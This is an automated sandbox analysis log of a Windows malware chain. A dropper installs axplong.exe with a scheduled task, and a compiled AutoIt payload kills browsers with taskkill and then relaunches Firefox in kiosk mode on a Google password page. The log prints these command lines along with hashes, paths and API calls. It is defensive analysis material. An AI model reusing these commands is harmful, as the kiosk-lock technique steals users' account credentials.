Source: b29e59e54d.exe, 00000008.00000000.2703523532.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_1bb68971-1
Source: b29e59e54d.exe, 0000001A.00000000.2859812436.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1a1a1ea7-0
Source: b29e59e54d.exe, 0000001A.00000000.2859812436.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_539b4c8d-1

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 63371c25d6.exe.6.dr	Static PE information: section name:
Source: 63371c25d6.exe.6.dr	Static PE information: section name: .rsrc
Source: 63371c25d6.exe.6.dr	Static PE information: section name: .idata
Source: 63371c25d6.exe.6.dr	Static PE information: section name:

Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 25_2_000001CBE7969337 NtQuerySystemInformation,		25_2_000001CBE7969337
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 25_2_000001CBE7982932 NtQuerySystemInformation,		25_2_000001CBE7982932

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0094D5EB: CreateFileW,DeviceIoControl,CloseHandle,

8_2_0094D5EB

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00941201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

8_2_00941201

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0094E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

8_2_0094E8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_009DE440	6_2_009DE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_009D4CF0	6_2_009D4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A13068	6_2_00A13068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A07D83	6_2_00A07D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_009D4AF0	6_2_009D4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A1765B	6_2_00A1765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A12BD0	6_2_00A12BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A18720	6_2_00A18720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A16F09	6_2_00A16F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A1777B	6_2_00A1777B
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00952046	8_2_00952046
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008E8060	8_2_008E8060
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00948298	8_2_00948298
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0091E4FF	8_2_0091E4FF
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0091676B	8_2_0091676B
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00974873	8_2_00974873
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0090CAA0	8_2_0090CAA0
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008ECAF0	8_2_008ECAF0
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008FCC39	8_2_008FCC39
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00916DD9	8_2_00916DD9
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008E91C0	8_2_008E91C0
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008FB119	8_2_008FB119
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00901394	8_2_00901394
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00901706	8_2_00901706
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0090781B	8_2_0090781B
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_009019B0	8_2_009019B0
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008E7920	8_2_008E7920
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008F997D	8_2_008F997D
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00907A4A	8_2_00907A4A
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00907CA7	8_2_00907CA7
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00901C77	8_2_00901C77
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00919EEE	8_2_00919EEE
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0096BE44	8_2_0096BE44
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00901F32	8_2_00901F32
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 25_2_000001CBE7969337	25_2_000001CBE7969337
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 25_2_000001CBE7982932	25_2_000001CBE7982932
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 25_2_000001CBE798305C	25_2_000001CBE798305C
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 25_2_000001CBE7982972	25_2_000001CBE7982972

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe 101E5DD7863CC4CC10C084D7468F2BD81A77323F9FB49B4B5EBD6077A5552BA8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe 101E5DD7863CC4CC10C084D7468F2BD81A77323F9FB49B4B5EBD6077A5552BA8

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: String function: 008FF9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: String function: 00900A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: String function: 008E9CB3 appears 31 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9971634451634878
Source: file.exe	Static PE information: Section: lfxcpyub ZLIB complexity 0.9942658327178729
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9971634451634878
Source: axplong.exe.0.dr	Static PE information: Section: lfxcpyub ZLIB complexity 0.9942658327178729
Source: random[1].exe.6.dr	Static PE information: Section: mmgyxokd ZLIB complexity 0.9948913375407166
Source: 63371c25d6.exe.6.dr	Static PE information: Section: mmgyxokd ZLIB complexity 0.9948913375407166

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@83/18@34/9

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_009537B5 GetLastError,FormatMessageW,

8_2_009537B5

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_009410BF AdjustTokenPrivileges,CloseHandle,		8_2_009410BF
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_009416C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		8_2_009416C3

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_009551CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

8_2_009551CD

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0094D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

8_2_0094D4DC

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0095648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

8_2_0095648E

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_008E42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

8_2_008E42A2

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3780:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1816:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SELECT url, title, last_visit_time, typed_count FROM urls WHERE hidden = 0https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesUnable to find the button element inside the profiler toolbar item.https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpInternalTestingProfileMigrator.getResources expects test profile.transitionState - Not transitioning state because it isn't changing.UpdateService:_postUpdateProcessing - Cleaning up active updates.Error while computing isPotentiallyTrustWorthy for pdf viewer page: resource://devtools/client/performance-new/shared/typescript-lazy-load.jsm.jschrome://browser/content/migration/migration-wizard-constants.mjspromiseLangPacksUpdated - waiting for language pack updates to stage.PanelUI._onNotificationButtonEvent(event, 'secondarybuttoncommand');getCanApplyUpdates - in background task mode, assuming user can't elevateUpdateService:_postUpdateProcessing - Setting update's errorCode UpdateService:_postUpdateProcessing - Attempting handleUpdateFailureUpdateService.canUsuallyCheckForUpdates - able to check for updatesUpdateService:_registerOnlineObserver - observer already registeredUpdateManager:UpdateManager - Initialized downloadingUpdate state to UpdateManager:refreshUpdateStatus - Staging appears to have crashed.UpdateManager:refreshUpdateStatus - Attempting handleUpdateFailureUpdateManager:cleanupDownloadingUpdate - cleaning up downloading update.UpdateService:_postUpdateProcessing - handleUpdateFailure success.CheckerService:#getCanMigrate - this installation can be migratedCheckerService:checkForUpdates - Making new check request for check CheckerService:#updateCheck - request completed downloading documentCheckerService:stopCheck - Not actually cancelling request because Downloader: cancel - Ignoring cancel request of finished downloadDownloader:_canUseBits - Not using BITS because it was already triedDownloader:downloadUpdate - setting currentState to STATE_DOWNLOADINGDownloader:onStopRequest - offline, register online observer: trueDownloader:onStopRequest - Moving downloadingUpdate into readyUpdate

Source: file.exe

Virustotal: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 63371c25d6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 63371c25d6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 63371c25d6.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2068 -prefMapHandle 2060 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ca6a3ee-eee5-454e-b34c-b7afc720e16b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2592836c110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
